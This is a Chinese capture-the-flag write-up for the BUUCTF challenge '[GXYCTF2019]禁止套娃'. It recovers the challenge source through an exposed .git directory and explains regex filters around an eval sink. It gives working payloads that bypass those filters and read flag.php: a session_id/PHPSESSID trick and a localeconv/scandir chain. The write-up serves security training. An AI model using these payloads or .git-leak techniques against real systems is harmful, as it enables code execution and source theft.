BUUCTF WEB [GXYCTF2019]禁止套娃
-
没有任何提示,使用dirsearch扫描
# Dirsearch started Fri Apr 22 02:23:09 2022 as: ./dirsearch.py -u http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/ --delay=0.5 -t 3 301 185B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git -> REDIRECTS TO: http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn/.git/ 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/ 200 267B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/COMMIT_EDITMSG 200 23B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/HEAD 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/branches/ 200 92B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/config 200 73B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/description 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/hooks/ ......
扫描到很多有关.git文件夹的路径,怀疑是.git泄露
-
使用scrabble扫描
./scrabble http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81 hint: Using 'master' as the name for the initial branch. This default branch name hint: is subject to change. To configure the initial branch name to use in all hint: of your new repositories, which will suppress this warning, call: hint: hint: git config --global init.defaultBranch <name> hint: hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and hint: 'development'. The just-created branch can be renamed via this command: hint: hint: git branch -m <name> Initialized empty Git repository in /root/Tools/scrabble/.git/ parseCommit e729e0b15f06da388b0e634afffd19b8e17b572a downloadBlob e729e0b15f06da388b0e634afffd19b8e17b572a parseTree 964071070547c4dda8cf5e14da26e4d7b7aeeeb5 downloadBlob 964071070547c4dda8cf5e14da26e4d7b7aeeeb5 downloadBlob 7169422bf0676b5369d25776f03961e158428c90 HEAD is now at e729e0b init
扫描到了index.php
<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
-
第一层过滤
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
过滤了一些PHP伪协议
-
第二层过滤
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
这里的
(?R)
表示引用当前的表达式,(?R)?
表示可以有零次或一次引用,可以匹配print(echo(1))
等由字符和括号嵌套组成的字符串
-
第三层过滤
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
过滤了一些关键字
方法1 session_id
?exp=highlight_file(session_id(session_start()));
同时抓包在Cookie中设置PHPSESSID
PHPSESSID=flag.php
方法2 scandir()
exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
current(localeconv())
会返回.
,然后使用scandir()函数扫描当前文件夹
localeconv()
函数会返回包含本地数字及货币格式信息的数组,这个数组的第一个元素是.
current()
函数返回数组中的当前元素的值,每个数组的初始指针都指向数组的第一个元素
array_reverse()
函数以相反的顺序返回数组
next()
函数将内部指针指向数组中的下一个元素并输出